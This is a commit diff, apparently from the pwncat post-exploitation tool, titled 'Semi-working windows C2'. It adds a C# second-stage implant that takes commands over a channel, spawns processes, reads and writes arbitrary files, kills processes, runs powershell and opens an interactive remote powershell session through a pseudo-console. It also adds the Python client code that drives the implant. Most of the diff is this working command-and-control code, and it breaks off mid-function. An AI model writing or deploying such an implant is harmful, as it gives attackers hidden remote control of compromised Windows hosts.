Semi-working windows C2
This commit is contained in:
parent
274611263e
commit
d6a7c41487
|
@ -1,5 +1,183 @@
|
|||
using System;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
class StageTwo
|
||||
{
|
||||
|
||||
private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
|
||||
private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
|
||||
private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
|
||||
private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
|
||||
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
|
||||
private const uint CREATE_NO_WINDOW = 0x08000000;
|
||||
private const int STARTF_USESTDHANDLES = 0x00000100;
|
||||
private const int BUFFER_SIZE_PIPE = 1048576;
|
||||
|
||||
private const UInt32 INFINITE = 0xFFFFFFFF;
|
||||
private const int SW_HIDE = 0;
|
||||
private const uint GENERIC_READ = 0x80000000;
|
||||
private const uint GENERIC_WRITE = 0x40000000;
|
||||
private const uint FILE_SHARE_READ = 0x00000001;
|
||||
private const uint FILE_SHARE_WRITE = 0x00000002;
|
||||
private const uint FILE_ATTRIBUTE_NORMAL = 0x80;
|
||||
private const uint OPEN_EXISTING = 3;
|
||||
private const uint OPEN_ALWAYS = 4;
|
||||
private const uint TRUNCATE_EXISTING = 5;
|
||||
private const int STD_INPUT_HANDLE = -10;
|
||||
private const int STD_OUTPUT_HANDLE = -11;
|
||||
private const int STD_ERROR_HANDLE = -12;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFOEX
|
||||
{
|
||||
public STARTUPINFO StartupInfo;
|
||||
public IntPtr lpAttributeList;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
private struct STARTUPINFO
|
||||
{
|
||||
public Int32 cb;
|
||||
public string lpReserved;
|
||||
public string lpDesktop;
|
||||
public string lpTitle;
|
||||
public Int32 dwX;
|
||||
public Int32 dwY;
|
||||
public Int32 dwXSize;
|
||||
public Int32 dwYSize;
|
||||
public Int32 dwXCountChars;
|
||||
public Int32 dwYCountChars;
|
||||
public Int32 dwFillAttribute;
|
||||
public Int32 dwFlags;
|
||||
public Int16 wShowWindow;
|
||||
public Int16 cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct PROCESS_INFORMATION
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public int dwProcessId;
|
||||
public int dwThreadId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int nLength;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public int bInheritHandle;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct COORD
|
||||
{
|
||||
public short X;
|
||||
public short Y;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetCurrentProcess();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool DuplicateHandle(IntPtr hSourceProcess, IntPtr hSource, IntPtr hTargetProcess, out IntPtr lpTarget, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CancelSynchronousIo(IntPtr hThread);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
|
||||
private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool GetExitCodeProcess(IntPtr hProcess, out UInt32 lpExitCode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern IntPtr GetStdHandle(int nStdHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool ReadFile(IntPtr hFile, [Out] byte[] lpBuffer, uint nNumberOfBytesToRead, out uint lpNumberOfBytesRead, IntPtr lpOverlapped);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite, out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern int CreatePseudoConsole(COORD size, IntPtr hInput, IntPtr hOutput, uint dwFlags, out IntPtr phPC);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern int ClosePseudoConsole(IntPtr hPC);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint mode);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
private static extern bool AllocConsole();
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
private static extern bool FreeConsole();
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr GetConsoleWindow();
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
|
||||
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern bool FlushFileBuffers(IntPtr hFile);
|
||||
|
||||
private System.Collections.Generic.List<System.Diagnostics.Process> g_processes;
|
||||
|
||||
public System.String ReadUntilLine(System.String delimeter)
|
||||
{
|
||||
System.Text.StringBuilder builder = new System.Text.StringBuilder();
|
||||
|
@ -32,6 +210,187 @@ class StageTwo
|
|||
}
|
||||
}
|
||||
|
||||
public void process()
|
||||
{
|
||||
IntPtr stdin_read, stdin_write;
|
||||
IntPtr stdout_read, stdout_write;
|
||||
IntPtr stderr_read, stderr_write;
|
||||
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
|
||||
STARTUPINFO pInfo = new STARTUPINFO();
|
||||
PROCESS_INFORMATION childInfo = new PROCESS_INFORMATION();
|
||||
System.String command = System.Console.ReadLine();
|
||||
|
||||
pSec.nLength = Marshal.SizeOf(pSec);
|
||||
pSec.bInheritHandle = 1;
|
||||
pSec.lpSecurityDescriptor = IntPtr.Zero;
|
||||
|
||||
if (!CreatePipe(out stdin_read, out stdin_write, ref pSec, BUFFER_SIZE_PIPE))
|
||||
{
|
||||
System.Console.WriteLine("E:IN");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!CreatePipe(out stdout_read, out stdout_write, ref pSec, BUFFER_SIZE_PIPE))
|
||||
{
|
||||
System.Console.WriteLine("E:OUT");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!CreatePipe(out stderr_read, out stderr_write, ref pSec, BUFFER_SIZE_PIPE))
|
||||
{
|
||||
System.Console.WriteLine("E:ERR");
|
||||
return;
|
||||
}
|
||||
|
||||
pInfo.cb = Marshal.SizeOf(pInfo);
|
||||
pInfo.hStdError = stderr_write;
|
||||
pInfo.hStdOutput = stdout_write;
|
||||
pInfo.hStdInput = stdin_read;
|
||||
pInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES;
|
||||
|
||||
if (!CreateProcessW(null, command, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref pInfo, out childInfo))
|
||||
{
|
||||
System.Console.WriteLine("E:PROC");
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(stdin_read);
|
||||
CloseHandle(stdout_write);
|
||||
CloseHandle(stderr_write);
|
||||
|
||||
System.Console.WriteLine(childInfo.hProcess);
|
||||
System.Console.WriteLine(stdin_write);
|
||||
System.Console.WriteLine(stdout_read);
|
||||
System.Console.WriteLine(stderr_read);
|
||||
}
|
||||
|
||||
public void ppoll()
|
||||
{
|
||||
IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
|
||||
System.UInt32 result = WaitForSingleObject(hProcess, 0);
|
||||
|
||||
if (result == 0x00000102L)
|
||||
{
|
||||
System.Console.WriteLine("R");
|
||||
return;
|
||||
}
|
||||
else if (result == 0xFFFFFFFF)
|
||||
{
|
||||
System.Console.WriteLine("E");
|
||||
return;
|
||||
}
|
||||
|
||||
if (!GetExitCodeProcess(hProcess, out result))
|
||||
{
|
||||
System.Console.WriteLine("E");
|
||||
}
|
||||
|
||||
System.Console.WriteLine(result);
|
||||
}
|
||||
|
||||
public void kill()
|
||||
{
|
||||
IntPtr hProcess = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
|
||||
UInt32 code = System.UInt32.Parse(System.Console.ReadLine());
|
||||
TerminateProcess(hProcess, code);
|
||||
}
|
||||
|
||||
public void open()
|
||||
{
|
||||
System.String filename = System.Console.ReadLine();
|
||||
System.String mode = System.Console.ReadLine();
|
||||
uint desired_access = GENERIC_READ;
|
||||
uint creation_disposition = OPEN_EXISTING;
|
||||
IntPtr handle;
|
||||
|
||||
if (mode.Contains("r"))
|
||||
{
|
||||
desired_access |= GENERIC_READ;
|
||||
}
|
||||
if (mode.Contains("w"))
|
||||
{
|
||||
desired_access |= GENERIC_WRITE;
|
||||
creation_disposition = TRUNCATE_EXISTING;
|
||||
}
|
||||
|
||||
handle = CreateFile(filename, desired_access, 0, IntPtr.Zero, creation_disposition, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
|
||||
|
||||
if (handle == (new IntPtr(-1)))
|
||||
{
|
||||
int error = Marshal.GetLastWin32Error();
|
||||
System.Console.Write("E:");
|
||||
System.Console.WriteLine(error);
|
||||
return;
|
||||
}
|
||||
|
||||
System.Console.WriteLine(handle);
|
||||
}
|
||||
|
||||
public void read()
|
||||
{
|
||||
System.String line;
|
||||
IntPtr handle;
|
||||
uint count;
|
||||
uint nreceived;
|
||||
|
||||
line = System.Console.ReadLine();
|
||||
handle = new IntPtr(System.UInt32.Parse(line));
|
||||
line = System.Console.ReadLine();
|
||||
count = System.UInt32.Parse(line);
|
||||
|
||||
byte[] buffer = new byte[count];
|
||||
|
||||
if (!ReadFile(handle, buffer, count, out nreceived, IntPtr.Zero))
|
||||
{
|
||||
System.Console.WriteLine("0");
|
||||
return;
|
||||
}
|
||||
|
||||
System.Console.WriteLine(nreceived);
|
||||
|
||||
using (Stream out_stream = System.Console.OpenStandardOutput())
|
||||
{
|
||||
out_stream.Write(buffer, 0, (int)nreceived);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
public void write()
|
||||
{
|
||||
System.String line;
|
||||
IntPtr handle;
|
||||
uint count;
|
||||
uint nwritten;
|
||||
|
||||
line = System.Console.ReadLine();
|
||||
handle = new IntPtr(System.UInt32.Parse(line));
|
||||
line = System.Console.ReadLine();
|
||||
count = System.UInt32.Parse(line);
|
||||
|
||||
byte[] buffer = new byte[count];
|
||||
|
||||
using (Stream in_stream = System.Console.OpenStandardInput())
|
||||
{
|
||||
count = (uint)in_stream.Read(buffer, 0, (int)count);
|
||||
}
|
||||
|
||||
if (!WriteFile(handle, buffer, count, out nwritten, IntPtr.Zero))
|
||||
{
|
||||
System.Console.WriteLine("0");
|
||||
return;
|
||||
}
|
||||
|
||||
System.Console.WriteLine(nwritten);
|
||||
return;
|
||||
}
|
||||
|
||||
public void close()
|
||||
{
|
||||
IntPtr handle = new IntPtr(System.UInt32.Parse(System.Console.ReadLine()));
|
||||
CloseHandle(handle);
|
||||
}
|
||||
|
||||
public void powershell()
|
||||
{
|
||||
var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
|
||||
|
@ -75,4 +434,115 @@ class StageTwo
|
|||
var obj = r.CompiledAssembly.CreateInstance("command");
|
||||
obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
|
||||
}
|
||||
|
||||
public void interactive()
|
||||
{
|
||||
uint result;
|
||||
IntPtr stdin_read = new IntPtr(0), stdin_write = new IntPtr(0);
|
||||
IntPtr stdout_read = new IntPtr(0), stdout_write = new IntPtr(0);
|
||||
UInt32 rows = System.UInt32.Parse(System.Console.ReadLine());
|
||||
UInt32 cols = System.UInt32.Parse(System.Console.ReadLine());
|
||||
COORD pty_size = new COORD()
|
||||
{
|
||||
X = (short)cols,
|
||||
Y = (short)rows
|
||||
};
|
||||
IntPtr hpcon = new IntPtr(0);
|
||||
uint conmode = 0;
|
||||
IntPtr old_stdin = GetStdHandle(STD_INPUT_HANDLE),
|
||||
old_stdout = GetStdHandle(STD_OUTPUT_HANDLE),
|
||||
old_stderr = GetStdHandle(STD_ERROR_HANDLE);
|
||||
IntPtr stdout_handle = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
IntPtr stdin_handle = GetStdHandle(STD_INPUT_HANDLE);
|
||||
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
|
||||
SECURITY_ATTRIBUTES proc_attr = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES thread_attr = new SECURITY_ATTRIBUTES();
|
||||
SECURITY_ATTRIBUTES pipe_attr = new SECURITY_ATTRIBUTES()
|
||||
{
|
||||
bInheritHandle = 1,
|
||||
lpSecurityDescriptor = IntPtr.Zero,
|
||||
};
|
||||
STARTUPINFOEX startup_info = new STARTUPINFOEX();
|
||||
IntPtr lpSize = IntPtr.Zero;
|
||||
Thread stdin_thread;
|
||||
Thread stdout_thread;
|
||||
bool new_console = false;
|
||||
|
||||
proc_attr.nLength = Marshal.SizeOf(proc_attr);
|
||||
thread_attr.nLength = Marshal.SizeOf(thread_attr);
|
||||
pipe_attr.nLength = Marshal.SizeOf(pipe_attr);
|
||||
|
||||
stdout_handle = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
|
||||
stdin_handle = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
|
||||
SetStdHandle(STD_INPUT_HANDLE, stdin_handle);
|
||||
SetStdHandle(STD_ERROR_HANDLE, stdout_handle);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, stdout_handle);
|
||||
|
||||
GetConsoleMode(stdout_handle, out conmode);
|
||||
uint new_conmode = conmode | ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
|
||||
SetConsoleMode(stdout_handle, new_conmode);
|
||||
|
||||
CreatePipe(out stdin_read, out stdin_write, ref pipe_attr, 8192);
|
||||
CreatePipe(out stdout_read, out stdout_write, ref pipe_attr, 8192);
|
||||
CreatePseudoConsole(pty_size, stdin_read, stdout_write, 0, out hpcon);
|
||||
CloseHandle(stdin_read);
|
||||
CloseHandle(stdout_write);
|
||||
|
||||
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
||||
startup_info.StartupInfo.cb = Marshal.SizeOf(startup_info);
|
||||
startup_info.lpAttributeList = Marshal.AllocHGlobal(lpSize);
|
||||
InitializeProcThreadAttributeList(startup_info.lpAttributeList, 1, 0, ref lpSize);
|
||||
UpdateProcThreadAttribute(startup_info.lpAttributeList, 0, (IntPtr)PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hpcon, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);
|
||||
|
||||
CreateProcess(null, "powershell.exe", ref proc_attr, ref thread_attr, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref startup_info, out proc_info);
|
||||
|
||||
stdin_thread = new Thread(pipe_thread);
|
||||
stdin_thread.Start(new object[] { old_stdin, stdin_write, "stdin" });
|
||||
stdout_thread = new Thread(pipe_thread);
|
||||
stdout_thread.Start(new object[] { stdout_read, old_stdout, "stdout" });
|
||||
|
||||
WaitForSingleObject(proc_info.hProcess, INFINITE);
|
||||
|
||||
stdin_thread.Abort();
|
||||
stdout_thread.Abort();
|
||||
|
||||
CloseHandle(proc_info.hThread);
|
||||
CloseHandle(proc_info.hProcess);
|
||||
ClosePseudoConsole(hpcon);
|
||||
CloseHandle(stdin_write);
|
||||
CloseHandle(stdout_read);
|
||||
|
||||
SetStdHandle(STD_INPUT_HANDLE, old_stdin);
|
||||
SetStdHandle(STD_ERROR_HANDLE, old_stderr);
|
||||
SetStdHandle(STD_OUTPUT_HANDLE, old_stdout);
|
||||
|
||||
CloseHandle(stdout_handle);
|
||||
CloseHandle(stdin_handle);
|
||||
|
||||
System.Console.WriteLine("");
|
||||
System.Console.WriteLine("INTERACTIVE_COMPLETE");
|
||||
}
|
||||
|
||||
private void pipe_thread(object dumb)
|
||||
{
|
||||
object[] parms = (object[])dumb;
|
||||
IntPtr read = (IntPtr)parms[0];
|
||||
IntPtr write = (IntPtr)parms[1];
|
||||
String name = (String)parms[2];
|
||||
uint bufsz = 16 * 1024;
|
||||
byte[] bytes = new byte[bufsz];
|
||||
bool read_success = false;
|
||||
uint nsent = 0;
|
||||
uint nread = 0;
|
||||
|
||||
try {
|
||||
do
|
||||
{
|
||||
read_success = ReadFile(read, bytes, bufsz, out nread, IntPtr.Zero);
|
||||
WriteFile(write, bytes, nread, out nsent, IntPtr.Zero);
|
||||
FlushFileBuffers(write);
|
||||
} while (nsent > 0 && read_success);
|
||||
} finally {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -442,6 +442,7 @@ class Manager:
|
|||
)
|
||||
else:
|
||||
data = self.target.platform.channel.recv(4096)
|
||||
self.target.platform.process_output(data)
|
||||
sys.stdout.buffer.write(data)
|
||||
except RawModeExit:
|
||||
pwncat.util.restore_terminal(term_state)
|
||||
|
|
|
@ -433,6 +433,12 @@ class Platform:
|
|||
def __str__(self):
|
||||
return str(self.channel)
|
||||
|
||||
def process_output(self, data):
|
||||
"""Process output from the terminal when in interactive mode.
|
||||
This is mainly used to check if the user exited the interactive terminal,
|
||||
and we should raise an InteractiveExit exception. It does nothing by
|
||||
default."""
|
||||
|
||||
def getenv(self, name: str):
|
||||
""" Get the value of an environment variable """
|
||||
|
||||
|
|
|
@ -1,7 +1,9 @@
|
|||
#!/usr/bin/env python3
|
||||
from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
|
||||
from typing import List
|
||||
from io import RawIOBase, TextIOWrapper, BufferedIOBase, UnsupportedOperation
|
||||
from typing import List, Union
|
||||
from io import StringIO, BytesIO
|
||||
from subprocess import CalledProcessError, TimeoutExpired
|
||||
import subprocess
|
||||
import textwrap
|
||||
import pkg_resources
|
||||
import pathlib
|
||||
|
@ -15,6 +17,90 @@ import pwncat.subprocess
|
|||
import pwncat.util
|
||||
from pwncat.platform import Platform, PlatformError, Path
|
||||
|
||||
INTERACTIVE_END_MARKER = b"\nINTERACTIVE_COMPLETE\r\n"
|
||||
|
||||
|
||||
class WindowsFile(RawIOBase):
|
||||
""" Wrapper around file handles on Windows """
|
||||
|
||||
def __init__(self, platform: "Windows", mode: str, handle: int):
|
||||
self.platform = platform
|
||||
self.mode = mode
|
||||
self.handle = handle
|
||||
self.is_open = True
|
||||
self.eof = False
|
||||
|
||||
def readable(self) -> bool:
|
||||
return "r" in self.mode
|
||||
|
||||
def writable(self) -> bool:
|
||||
return "w" in self.mode
|
||||
|
||||
def close(self):
|
||||
""" Close a file handle on the remote host """
|
||||
|
||||
if not self.is_open:
|
||||
return
|
||||
|
||||
self.platform.channel.send(f"close\n{self.handle}\n".encode("utf-8"))
|
||||
self.is_open = False
|
||||
|
||||
return
|
||||
|
||||
def readall(self):
|
||||
""" Read until EOF """
|
||||
|
||||
data = b""
|
||||
|
||||
while not self.eof:
|
||||
new = self.read(4096)
|
||||
if new is None:
|
||||
continue
|
||||
data += new
|
||||
|
||||
return data
|
||||
|
||||
def readinto(self, b: Union[memoryview, bytearray]):
|
||||
|
||||
if self.eof:
|
||||
return 0
|
||||
|
||||
self.platform.channel.send(f"read\n{self.handle}\n{len(b)}\n".encode("utf-8"))
|
||||
count = int(self.platform.channel.recvuntil(b"\n").strip())
|
||||
|
||||
if count == 0:
|
||||
self.eof = True
|
||||
return 0
|
||||
|
||||
n = 0
|
||||
while n < count:
|
||||
try:
|
||||
n += self.platform.channel.recvinto(b[n:])
|
||||
except NotImplementedError:
|
||||
data = self.platform.channel.recv(count - n)
|
||||
b[n : n + len(data)] = data
|
||||
n += len(data)
|
||||
|
||||
return count
|
||||
|
||||
def write(self, data: bytes):
|
||||
""" Write data to this file """
|
||||
|
||||
if self.eof:
|
||||
return 0
|
||||
|
||||
nwritten = 0
|
||||
while nwritten < len(data):
|
||||
chunk = data[nwritten:]
|
||||
self.platform.channel.send(
|
||||
f"write\n{self.handle}\n{len(chunk)}\n".encode("utf-8") + chunk
|
||||
)
|
||||
nwritten += int(
|
||||
self.platform.channel.recvuntil(b"\n").strip().decode("utf-8")
|
||||
)
|
||||
|
||||
return nwritten
|
||||
|
||||
|
||||
class PopenWindows(pwncat.subprocess.Popen):
|
||||
"""
|
||||
|
@ -27,28 +113,182 @@ class PopenWindows(pwncat.subprocess.Popen):
|
|||
args,
|
||||
stdout,
|
||||
stdin,
|
||||
stderr,
|
||||
text,
|
||||
encoding,
|
||||
errors,
|
||||
bufsize,
|
||||
start_delim: bytes,
|
||||
end_delim: bytes,
|
||||
code_delim: bytes,
|
||||
handle,
|
||||
stdio,
|
||||
):
|
||||
super().__init__()
|
||||
|
||||
self.platform = platform
|
||||
self.handle = handle
|
||||
self.stdio = stdio
|
||||
self.returncode = None
|
||||
|
||||
class WindowsReader(BufferedIOBase):
|
||||
"""
|
||||
A file-like object which wraps a Popen object to enable reading a
|
||||
remote file.
|
||||
"""
|
||||
self.stdin = WindowsFile(platform, "w", stdio[0])
|
||||
self.stdout = WindowsFile(platform, "r", stdio[1])
|
||||
self.stderr = WindowsFile(platform, "r", stdio[2])
|
||||
|
||||
if stdout != subprocess.PIPE:
|
||||
self.stdout.close()
|
||||
self.stdout = None
|
||||
if stderr != subprocess.PIPE:
|
||||
self.stderr.close()
|
||||
self.stderr = None
|
||||
if stdin != subprocess.PIPE:
|
||||
self.stdin.close()
|
||||
self.stdin = None
|
||||
|
||||
class WindowsWriter(BufferedIOBase):
|
||||
"""A wrapper around an active Popen object which is writing to
|
||||
a file. Remote files are not seekable, and cannot be simultaneous
|
||||
read/write."""
|
||||
if text or encoding is not None or errors is not None:
|
||||
line_buffering = bufsize == 1
|
||||
bufsize = -1
|
||||
|
||||
if self.stdout is not None:
|
||||
self.stdout = TextIOWrapper(
|
||||
self.stdout,
|
||||
line_buffering=line_buffering,
|
||||
encoding=encoding,
|
||||
errors=errors,
|
||||
)
|
||||
if self.stderr is not None:
|
||||
self.stderr = TextIOWrapper(
|
||||
self.stderr,
|
||||
line_buffering=line_buffering,
|
||||
encoding=encoding,
|
||||
errors=errors,
|
||||
)
|
||||
if self.stdin is not None:
|
||||
self.stdin = TextIOWrapper(
|
||||
self.stdin, encoding=encoding, errors=errors, write_through=True
|
||||
)
|
||||
|
||||
def detach(self):
|
||||
|
||||
self.returncode = 0
|
||||
|
||||
if self.stdout is not None:
|
||||
self.stdout.close()
|
||||
if self.stderr is not None:
|
||||
self.stderr.close()
|
||||
if self.stdin is not None:
|
||||
self.stdin.close()
|
||||
|
||||
def kill(self):
|
||||
return self.terminate()
|
||||
|
||||
def terminate(self):
|
||||
|
||||
if self.returncode is not None:
|
||||
return
|
||||
|
||||
self.platform.channel.send(f"kill\n{self.handle}\n0\n".encode("utf-8"))
|
||||
self.returncode = -1
|
||||
|
||||
def poll(self):
|
||||
""" Poll if the process has completed and get return code """
|
||||
|
||||
if self.returncode is not None:
|
||||
return self.returncode
|
||||
|
||||
self.platform.channel.send(f"ppoll\n{self.handle}\n".encode("utf-8"))
|
||||
result = self.platform.channel.recvuntil(b"\n").strip().decode("utf-8")
|
||||
|
||||
if result == "E":
|
||||
raise RuntimeError(f"process {self.handle}: failed to get exit status")
|
||||
|
||||
if result != "R":
|
||||
self.returncode = int(result)
|
||||
return self.returncode
|
||||
|
||||
def wait(self, timeout: float = None):
|
||||
|
||||
if timeout is not None:
|
||||
end_time = time.time() + timeout
|
||||
else:
|
||||
end_time = None
|
||||
|
||||
while self.poll() is None:
|
||||
if end_time is not None and time.time() >= end_time:
|
||||
raise TimeoutExpired(self.args, timeout)
|
||||
|
||||
time.sleep(0.1)
|
||||
|
||||
self.cleanup()
|
||||
return self.returncode
|
||||
|
||||
def cleanup(self):
|
||||
if self.stdout is not None:
|
||||
self.stdout.close()
|
||||
if self.stdin is not None:
|
||||
self.stdin.close()
|
||||
if self.stderr is not None:
|
||||
self.stderr.close()
|
||||
|
||||
# This just forces CloseHandle on the hProcess
|
||||
WindowsFile(self.platform, "r", self.handle).close()
|
||||
|
||||
self.handle = None
|
||||
self.stdout = None
|
||||
self.stderr = None
|
||||
self.stdin = None
|
||||
|
||||
def communicate(self, input=None, timeout=None):
|
||||
|
||||
if self.returncode is not None:
|
||||
return (None, None)
|
||||
|
||||
if input is not None and self.stdin is not None:
|
||||
self.stdin.write(input)
|
||||
|
||||
if timeout is not None:
|
||||
end_time = time.time() + timeout
|
||||
else:
|
||||
end_time = None
|
||||
|
||||
stdout = (
|
||||
"" if self.stdout is None or isinstance(self.stdout, TextIOWrapper) else b""
|
||||
)
|
||||
stderr = (
|
||||
"" if self.stderr is None or isinstance(self.stderr, TextIOWrapper) else b""
|
||||
)
|
||||
|
||||
while self.poll() is None:
|
||||
if end_time is not None and time.time() >= end_time:
|
||||
raise TimeoutExpired(self.args, timeout, stdout)
|
||||
if self.stdout is not None:
|
||||
new_stdout = self.stdout.read(4096)
|
||||
if new_stdout is not None:
|
||||
stdout += new_stdout
|
||||
if self.stderr is not None:
|
||||
new_stderr = self.stderr.read(4096)
|
||||
if new_stderr is not None:
|
||||
stderr += new_stderr
|
||||
|
||||
if self.stdout is not None:
|
||||
while True:
|
||||
new = self.stdout.read(4096)
|
||||
stdout += new
|
||||
if len(new) == 0:
|
||||
break
|
||||
|
||||
if self.stderr is not None:
|
||||
while True:
|
